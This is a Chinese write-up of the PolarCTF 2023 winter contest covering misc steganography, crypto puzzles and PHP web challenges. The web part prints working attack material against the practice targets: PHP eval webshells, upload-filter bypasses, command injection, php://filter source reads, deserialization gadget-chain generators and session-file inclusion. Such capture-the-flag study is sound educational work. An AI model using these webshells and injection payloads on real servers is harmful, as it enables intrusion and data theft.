PolarCTF2023冬季个人挑战赛wp含web、misc、crypto

PolarCTF2023冬季个人挑战赛wp含web、misc、crypto

misc

misc-签到喵

经典的公众号签到题
发送宝宝想要flag(这个是base64解码得到的结果)到公众号即可


misc-A 宽宽 S 00 E

U2FsdGVkX19d7TPOqeK+yL2btyx2gt4lp2ErgNwLzytzew9Wu7tcVvsR4tqWzGFi 772B6etLclejBUsSwv/hmg==
零宽字节隐写,vim查看隐写字符,然后找个在线网站得到上面的字符
前段是aes字符,emm也没解出来
后来在群里看见群友在聊发现秘钥是sql,好好好,原来附件给的这个sql注入是这么玩的,然后上面的密文要把空格去掉
https://stackoverflow.org.***/aesencrypt/
base64解码,加上flag{}就是答案


misc-机密

有个流量包,没看出什么东西,直接binwalk
得到个压缩包,直接爆破,1903


misc-社会主义大法好

一开始ARCHPR识别不了这个压缩包,以为伪加密,结果binwalk分离之后也不行,估计文件格式错了,或者我电脑配置的问题,之前我就把winrar卸了,一般有概率遇到这种情况,直接掏出bandzip
后来看群友聊,还得是misc神,我后面拿bandzip也能破,因为正好四位密码,图片里也有,1945,社会主义核心价值观解码
U2FsdGVkX18hXTEdmaHlK9Wa0JuJu4UApkMzMe69xXg8yBK0Fw5q4HtQ5+qK6BCB +WkHQDiIxks=
删去换行符再继续下面的操作
这个字符串的开头还以为是aes,其实不是,是rabbit,秘钥就拿剩下的一个数字,2014。。。。


misc-是uu吗

&,3(S-#4V题目名字包含uu,推测是uuencode,得到123456,应该是某个压缩包密码
尝试过各种音频隐写,都不对,赛后看讲解视频才发现是steghide,其实这个123456或许能够猜到(???)
steghide extract -sf filename -p 123456
得到flag.txt,再拿去uuencode解码一下
>9FQA9WLV-S$S-S@Y-#8P,C,V-#@W-S@S,C0V.#E]
flag{671378946023648778324689}


misc-EZ签到

binwalk得到H1nt.zip是伪加密,得到一张小猫图片,尝试各类图片隐写,没有用
最后尝试到F5-steg,先把图片拖进去,在这里java Extract f1ag.jpg
得到一个flag.txt,里面的内容很明显是zip,改后缀,要密码,binwalk一下看是不是伪加密,拿到了flag,可惜是假的。。。。。。掉坑里了
出题人其实给了这个的密码java Extract f1ag.jpg -p qiandao
得到nizhenbuhuiyiweizheshiqiandaoba,是flag压缩包的密码
得到100张图片,进行拼图,发现大小不一,借助PS批量处理,统一修改为40x40,过程可以去B站看讲解官方团队的讲解视频
拼图,借助imagemagick,文件夹cmd,magick montage *.jpg -tile 10x10 -geometry +0+0 flag.jpg发现是无序的
再借助gaps复原,图片拖入bin目录下python3 gaps --image=flag.jpg --size=40 --save
emmmm,卡住了,笨b卡在了安装gaps上了,emmm,giao
但这道题也算是解决了,get到了拼图工具imagemagick跟自动拼图工具gaps,也算有所收获


web

web-cool

system被ban,换passthru
flag被ban,利用通配符*
?a=passthru('cat f*');


web-phpurl

扫一下,发现1.txt
乱码,火狐浏览器ALT->查看->修复乱码,得到一个被加密的文件名aW5kZXgucGhwcw,base64解密得到index.phps
源码:

<?php
if("xxs"===$_GET[sys]) {
  echo("<p>Not a good idea!</p>");
  exit();
}

$_GET[sys] = urldecode($_GET[sys]);
if($_GET[sys] == "xxs")
{
  echo "<p>Wel***e to polar LABS!</p>";
  echo "<p>Flag: XXXXXXX </p>";
}
?>

参数sys不能等于xxs,但是经过url编码的sys可以等于xxs,先让浏览器进行转码,%25->%,%78->x,就能实现
?sys=%2578xs
(emmm,附件的内容其实就是乱码修复后的)


web-cookie欺骗

hackbar,将cookie值改为adminuser=admin


web-干正则

parse_str变量覆盖
?id=a[0]=www.polarctf.***&cmd=127.0.0.1|cat *
没看见“干正则”,嘿嘿
一开始还找不到flag,F12即可


web-随机值

<?php
class Index
{
    private $Polar1 = 3;
    private $Polar2 = 3;
    protected $Night = 3;
    protected $Light = 3;

    function getflag($flag)
    {
        $Polar2 = rand(0, 100);
        if ($this->Polar1 === $this->Polar2) {
            $Light = rand(0, 100);
            if ($this->Night === $this->Light) {
                echo $flag;
            }
        } else {
            echo "Your wrong!!!";
        }
    }
}
$a = new Index();
echo urlencode(serialize($a));
# O%3A5%3A%22Index%22%3A4%3A%7Bs%3A13%3A%22%00Index%00Polar1%22%3Bi%3A3%3Bs%3A13%3A%22%00Index%00Polar2%22%3Bi%3A3%3Bs%3A8%3A%22%00%2A%00Night%22%3Bi%3A3%3Bs%3A8%3A%22%00%2A%00Light%22%3Bi%3A3%3B%7D

因为php是不能直接给private和protected的变量直接赋值的,所以rand()函数直接废掉,不起作用
又或者变量引用

$a->Polar1=&$a->Polar2;
$a->Night=&$a->Light;

web-upload

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","hta***ess");
 
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.rand(10000,99999).$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

明显双写绕过,将木马文件命名为a.pphphp即可,文件内容<?php eval($_POST['a']);
上传文件之后,可以F12查看网络,就可以看到文件上传的位置了,再用蚁剑连接即可
(补题发现,秋季那道ezupload,上传GIF文件,再抓包改php后缀,蚁剑,不过我连接的时候,警告返回数据为空??不应该啊)


web-你的马呢?

经典文件上传,注意到URL,可能存在文件包含,发现可以/etc/passwd,先读一下源码url/index.php?file=php://filter/read/convert.base64-encode/resource=upload.php

<?php
 if(isset($_FILES['upfile'])){
  $uploaddir = 'uploads/';
  $uploadfile = $uploaddir . basename($_FILES['upfile']['name']);
  $ext = pathinfo($_FILES['upfile']['name'],PATHINFO_EXTENSION);

  //检查文件å†
容
  $text = file_get_contents($_FILES['upfile']['tmp_name']);


  echo $ext;

  //检查文件后缀
  if (!preg_match("/ph.|hta***ess/i", $ext)){

   if(preg_match("/<\?php/i", $text)){
    echo "å˜¿å˜¿å˜¿ï¼Œæƒ³ä¼ é©¬ï¼Ÿä¸å¯èƒ½ï¼<br>";
   }
   else{
    move_uploaded_file($_FILES['upfile']['tmp_name'],$uploadfile);
    echo "æ­å–œä½ ï¼Œä¸Šä¼ è·¯å¾„<br>路径为:" . $uploadfile . "<br>";
   }
  } 
  else {
   echo "恶意后缀,试试.jsp呢?<br>";
   
  }
 }
?>

<!DOCTYPE html>
<html>
<head>
 <title>ä¸Šä¼ æ–‡ä»¶</title>
 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
 åƒä¸‡åˆ«ä¸Šä¼ php脚本!!!!
 <form action="upload.php" method="POST" enctype="multipart/form-data">
  <input type="file" name="upfile" value="" />
  <input type="submit" name="submit" value="提交" />
 </form>
</body>
</html>

大致内容是,文件内容不能含<?php标签,文件名后缀不能有ph.和hta***ess,等
上传jpg文件,利用短标签

GIF89a
<?=eval($_POST['a']);?>

post: a=system(cat /f*);


web-ezphp

爬虫-> robots.txt

User-agent: *
Disallow: /file
Disallow: /uploads
Disallow: /uploads/images

进入uploads/upload.php进行文件上传
/file告诉我们要传参filename
/uploads/images查看上传了那些文件
上传木马文件
url/file/file.php?filename=../uploads/images/a.jpg
post:a=system('ls /');
发现bin dev etc home lib linuxrc media mnt proc root run sbin srv sys tmp usr var
一般是在home或root下
post:a=system('ls /home');
最终post:a=system('cat /home/webuser/flag');


web-你想逃也逃不掉

PHP反序列化字符逃逸,题目的过滤函数使得字符减少

 <?php
/*
    https://ytyyds.github.io/ (与本题无关)
*/
error_reporting(0);
highlight_file(__FILE__);
function filter($string){
    return preg_replace( '/phtml|php3|php4|php5|aspx|gif/','', $string);
}
$user['username'] = $_POST['name'];
$user['passwd'] = $_GET['passwd'];
$user['sign'] = '123456';

$ans = filter(serialize($user));
if(unserialize($ans)[sign] == "ytyyds"){
    echo file_get_contents('flag.php');
} 

本地试验

 <?php
    function filter($string)
    {
        return preg_replace('/phtml|php3|php4|php5|aspx|gif/', '', $string);
    }
    $user['username'] = 'phtmlphtmlphtmlphtml';
    $user['passwd'] = ';s:6:"passwd";s:0:"";s:4:"sign";s:6:"ytyyds";}';
    $user['sign'] = '123456';
    echo serialize($user);
    echo "\n";
    echo filter(serialize(($user)));
    $ans = filter(serialize($user));
    if (unserialize($ans)[sign] == "ytyyds") {
        echo "\nsu***ess!!!";
    }
# a:3:{s:8:"username";s:20:"phtmlphtmlphtmlphtml";s:6:"passwd";s:46:";s:6:"passwd";s:0:"";s:4:"sign";s:6:"ytyyds";}";s:4:"sign";s:6:"123456";}
# a:3:{s:8:"username";s:20:"";s:6:"passwd";s:46:";s:6:"passwd";s:0:"";s:4:"sign";s:6:"ytyyds";}";s:4:"sign";s:6:"123456";}
# su***ess!!!
post: name=phtmlphtmlphtmlphtml
get: url/?passwd=;s:6:"passwd";s:0:"";s:4:"sign";s:6:"ytyyds";}
F12查看即可

web-苦海

链子User::__wakeup()->User::printName()->Surrender::__toString()->FileRobot::__get()->FileRobot::__invoke()->FileRobot::Get_file()

<?php
class User
{
    public $name = 'PolarNight';
    public $flag = 'syst3m("rm -rf ./*");';

    public function __construct()
    {
        echo "删库跑路,蹲监狱~";
    }

    public function printName()
    {
        echo $this->name;
        return 'ok';
    }

    public function __wakeup()
    {
        echo "hi, Wel***e to Polar D&N ~ ";
        $this->printName();
    }

    public function __get($***)
    {
        echo "give you flag : " . $this->flag;
    }
}

class Surrender
{
    private $phone = 110;
    public $promise = '遵纪守法,好公民~';

    public function __construct()
    {
        $this->promise = '苦海无涯,回头是岸!';
        return $this->promise;
    }

    public function __toString()
    {
        return $this->file['filename']->content['title'];
    }
}

class FileRobot
{
    public $filename = 'flag.php';
    public $path;

    public function __get($name)
    {
        $function = $this->path;
        return $function();
    }

    public function Get_file($file)
    {
        $hint = base64_encode(file_get_contents($file));
        echo $hint;
    }

    public function __invoke()
    {
        $content = $this->Get_file($this->filename);
        echo $content;
    }
}

//User::__wakeup()->User::printName()->Surrender::__toString()->FileRobot::__get()->FileRobot::__invoke()->FileRobot::Get_file()

$a = new User();
$a->name = new Surrender();
$a->name->file["filename"] = new FileRobot();
$a->name->file['filename']->path = new FileRobot();
$a->name->file['filename']->path->filename = '../flag.php';
echo urlencode(serialize($a));

flag位置要试,试出在../flag.php


web-safe_include

<?php 
show_source(__FILE__); 
@session_start();

ini_set('open_basedir', '/var/www/html/:/tmp/'); 

$sys = @$_SESSION['xxs'];
if (isset($_GET['xxs'])) {
    $sys = $_GET['xxs'];
}

@include $sys;

$_SESSION['xxs'] = $sys;

session文件包含
open_basedir是php.ini中的一个配置选项,它可将用户访问文件的活动范围限制在指定的区域,假设open_basedir=/home/wwwroot/home/web1/:/tmp/,那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。注意用open_basedir指定的限制实际上是前缀,而不是目录名
举例来说: 若"open_basedir = /dir/user", 那么目录 “/dir/user” 和 "/dir/user1"都是可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名
?xxs=<?php system('cat /flag');?>保存进session的值并写入session文件
根据sessionID生成session文件,/tmp/sess_sessionID,sessionID一般就是Cookie中PHPSESSID的值,可以通过F12查看网络获得
?xxs=/tmp/sess_sessionID进行session文件包含


crypto

crypto-base

密文j2rXjx8wSZjD
base64换表GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5
解密即可,得到flag{666}


crypto-AFF

题目可知是仿射密码
密文WMPTPTRGGPED
c = (3 * j - 17) % 26
根据代码可知,a=3,b=17
得到thisisaffine
flag{THISISAFFINE}


crypto-神秘组织M

栅栏密码M型,靠,之前只知道普通的跟W型,其实题目也提示了。。。。
{bc1bg572ec066}a0d2fb137l951b5451f06b7
手工得到

         {       b         c        1         b
        g 5     7 2       e c      0 6       6 }
      a    0   d   2     f   b    1   3     7
    l       9 5     1   b     5  4     5   1
   f         0        6         b        7

flag{50905d7b2216bfe***b5b41016357176b}
后面看见这个靶场也有一道M型的


crypto-数星星

词频统计,自己先把单词找出来,直接在buuctf做过一道类似的,浪里淘沙?好像是这个,直接把脚本搬过来

content = ""
list = ['tonight', 'su***ess', 'favorite', 'we', 'example', 'crypto', 'should', 'is',
         'learn', 'sublim', 'morning', 'system', 'your', 'word', 'which', 'found']
l = []
for each in list:
    if each in content:
        print(content.count(each), each)
        l.append((content.count(each), each))
l = sorted(l, reverse=False)
dest = [l[i-1] for i in (3, 6, 10, 12, 15)]
print(dest)
print(''.join([i[1] for i in dest]))
# whichisyourfavoriteword
# flag{17c5d0278edcbad3d061a92b723c116d}

crypto-不一样的四四方方

jilinjingcha
information
engineering

网上的关于四方密码介绍很多,一般秘钥都是没有j/q/i
但是这道题我们去的是z,附件的给提示
key1:informatbcdeghjklpqsuvwxy
key2:engirabcdfhjklmopqstuvwxy
加密。。。。就很抽象,都说了题目给的是密文,不应该是解密吗??
BDHAHCTLTNMG这是大写的结果,有的网站是这个
还有就是,有的在线网站跑出来的是小写的结果,md之后就不是flag了,题目又说是md5小写加密。。。。。
md5一下
flag{c6dac3a0f40dfacef***473585cdeb0f8}
总结:这道题很抽象


crypto-我爱456

kseYvkasuj5618t
lygemfla235158jd
utasvQsjdybl587t
sydwkuhd54kdhg
jtftY658qiwudhs
iaugwjiushyc871
aksQbhasbkjcbkjd
dvbpzd8v26dfv6f
s6dvdNf6v52v6x
65dT26f5d1b6f5v
35f2Y6d65bbfv5
35dfv32d8bfv256d
kdhMvnhdkjzldkj
sdhjTujsdbch268
sdr26Iksds265dsv
jnm2dsnsdv26865

评价:又是一道misc题。。。
456循环,依次提取字符串中的第4,5,6个字符

with open("提取出只有字符串的文件位置", 'r') as f:
    a = f.read().split('\n')
flag = ''
for i in range(len(a)):
    if i % 3 == 0:
        flag += a[i][3]
    elif i % 3 == 1:
        flag += a[i][4]
    else:
        flag += a[i][5]
print(flag)
# YmQwYjQzNTY3MTI2

base64得到bd0b43567126
flag{b5ff0893e6522a037c144a1f502c2b48}


转载请说明出处内容投诉
CSS教程_站长资源网 » PolarCTF2023冬季个人挑战赛wp含web、misc、crypto

发表评论

欢迎 访客 发表评论

一个令你着迷的主题!

查看演示 官网购买